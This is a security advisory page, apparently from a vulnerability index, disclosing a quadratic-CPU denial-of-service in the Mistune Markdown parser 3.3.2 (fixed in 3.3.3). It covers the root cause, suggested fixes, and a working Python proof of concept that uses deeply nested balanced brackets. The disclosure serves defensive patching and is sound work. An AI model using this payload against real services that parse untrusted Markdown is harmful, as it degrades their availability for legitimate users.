GHSA-47P6-W2RC-5QF7
Balanced-bracket variant of the bracket parsing DoS still causes quadratic CPU growth in Mistune 3.3.2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.3.3 | mistune · -102 d desde divulgación | |
| Divulgación | Publicada | GHSA-47P6-W2RC-5QF7 divulgada · CVSS 5.3 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Resolution
Fixed in Mistune 3.3.3. Upgrade to 3.3.3 or later.
- Affected versions: `< 3.3.3`
- First patched version: `3.3.3`
- Fix: https://github.com/lepture/mistune/commit/fe02f40faf091f86da9ed62c865f31e11da111d7
The reported payload was reproduced against the 3.3.2 release tag and verified to scale approximately linearly against the 3.3.3 release tag.
Original report
The following report describes the issue before the fix.
Balanced-bracket variant of the bracket parsing DoS still causes quadratic CPU growth in Mistune 3.3.2
Summary
We found that the bracket parsing DoS class described in GHSA-f32h-38gf-rg5r https://github.com/lepture/mistune/security/advisories/GHSA-f32h-38gf-rg5r still has a balanced-bracket variant in Mistune 3.3.2. This report is not intended to claim an unrelated new vulnerability; it is a report that the current release still shows roughly quadratic CPU growth for balanced nested brackets that do not form a valid link:
"[" * n + "x" + "]" * nIf this is already covered by an internal fix or by the earlier advisory, please treat this report as additional reproduction evidence rather than a separate new issue.
The impact is availability-only: attacker-controlled Markdown can cause repeated CPU work in applications or jobs that parse untrusted Markdown with Mistune's default parser. We do not claim data disclosure, data modification, code execution, or privilege escalation.
Scope and Limitations
- Confirmed affected version: Mistune 3.3.2.
- The same relevant parsing logic is present in the repository snapshot we checked at commit `59c35e2b743b9996284126f8019f2811a2315c5c`.
- Additional reproduction target commit: `31f15727c05f5855bd500fe04f52b46c656d5278`.
- Public entrypoints include `mistune.create_markdown()(markdown_text)` and `mistune.html(markdown_text)`.
- The trigger requires an application or job to parse attacker-controlled Markdown. Mistune itself is a library, so concrete network exposure depends on downstream use.
- The proof demonstrates CPU exhaustion / denial of service behavior only.
- This report is intentionally scoped as a residual parser-complexity variant because similar bracket DoS advisories are already public.
Details
The relevant path is in `src/mistune/inline_parser.py`.
When the inline parser sees `[`, `InlineParser.parse_link` treats it as a possible link start. If `parse_link_label` does not return a label, the parser falls back to `_parse_link_text(state, pos)`, which finds the matching closing bracket and returns the text between the brackets.
For a balanced input such as:
[[[[x]]]]the no-close-bracket fast path does not apply because there is a matching `]` for each `[`. After extracting a large bracket body, `parse_link` calls `_contains_nested_link(text, state)` before it has established that the outer bracket sequence is actually a valid link. For this payload, `_contains_nested_link` performs large substring checks and then returns false because the text does not contain a valid nested link pattern.
Since there is no following `(url)` or reference-link target after the closing bracket, `parse_link` returns `None`. The outer inline parser advances by one character and repeats similar work for the next `[`, over a slightly smaller balanced substring. This produces roughly quadratic CPU growth.
The existing mitigation for unmatched brackets uses `state.no_close_bracket_before`, but that does not help this balanced-bracket shape. The repository also contains a small security regression test for nested bracket input at 200 bracket pairs, but that size is too small to catch the practical exhaustion range seen at thousands of bracket pairs.
PoC
The following compact PoC uses the same vulnerable entrypoint, payload shape, and pass/fail check as the verified reproduction. It can be run against Mistune 3.3.2:
python3 -m venv /tmp/mistune-balanced-bracket-poc
/tmp/mistune-balanced-bracket-poc/bin/pip install 'mistune==3.3.2'
/tmp/mistune-balanced-bracket-poc/bin/python poc_balanced_bracket_dos.py`poc_balanced_bracket_dos.py`:
import json
import math
import time
import mistune
def measure(markdown, n):
payload = "[" * n + "x" + "]" * n
start = time.perf_counter()
rendered = markdown(payload)
elapsed = time.perf_counter() - start
if "[" not in rendered or "x" not in rendered:
raise AssertionError("parser output did not preserve the malformed input")
return {"n": n, "bytes": len(payload), "elapsed_seconds": elapsed}
def main():
markdown = mistune.create_markdown()
markdown("warmup")
sizes = [2000, 4000, 8000, 16000]
samples = [measure(markdown, n) for n in sizes]
ratios = [
cur["elapsed_seconds"] / max(prev["elapsed_seconds"], 1e-9)
for prev, cur in zip(samples, samples[1:])
]
exponents = [math.log(max(r, 1e-9), 2) for r in ratios]
result = {
"mistune_version": getattr(mistune, "__version__", "unknown"),
"payload_shape": "'[' * n + 'x' + ']' * n",
"samples": samples,
"doubling_ratios": ratios,
"estimated_growth_exponent": sum(exponents) / len(exponents),
}
print(json.dumps(result, indent=2, sort_keys=True))
if min(ratios) >= 2.5 and result["estimated_growth_exponent"] >= 1.5:
print("QUADRATIC_DOS_CONFIRMED")
return 0
print("QUADRATIC_DOS_NOT_CONFIRMED")
return 1
if __name__ == "__main__":
raise SystemExit(main())Expected result: doubling the number of bracket pairs should increase parser runtime by roughly four times, and the script should print `QUADRATIC_DOS_CONFIRMED`.
Observed result from the verified reproduction:
mistune_version=3.3.2
4,001 bytes -> 0.0793s
8,001 bytes -> 0.3109s
16,001 bytes -> 1.2193s
32,001 bytes -> 4.8828s
doubling ratios: 3.92, 3.92, 4.00
estimated growth exponent: 1.9816
confirmation signal for quadratic CPU growth was emittedThe original verified reproduction was Docker-based and used `./reproduction/run.sh` to check out commit `31f15727c05f5855bd500fe04f52b46c656d5278` and run the same pass/fail check against `mistune.create_markdown()`.
Impact
Applications that parse untrusted Markdown with Mistune may allow a small crafted input to consume disproportionate CPU time. This can delay or block request handlers, background workers, comment rendering jobs, documentation rendering jobs, or other Markdown ingestion pipelines.
The demonstrated impact is denial of service / availability degradation only. The attack does not require a special Mistune plugin or non-default renderer, but it does require a downstream application or job to pass attacker-controlled Markdown into Mistune.
Suggested Fix Direction
Possible mitigations include:
- avoiding repeated large substring scans for failed link candidates,
- extending the existing failed-bracket high-water tracking to balanced-but-not-a-link cases,
- capping or memoizing failed link-start positions for a given source string, or
- adding a regression test that exercises thousands of balanced bracket pairs rather than only a few hundred.
Reporters
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypimistune |
Corregida | 3.3.3 | -102 d | 3.4.0 no afectada |
3.3.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/lepture/mistune/security/advisories/GHSA-47p6-w2rc-5qf7Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
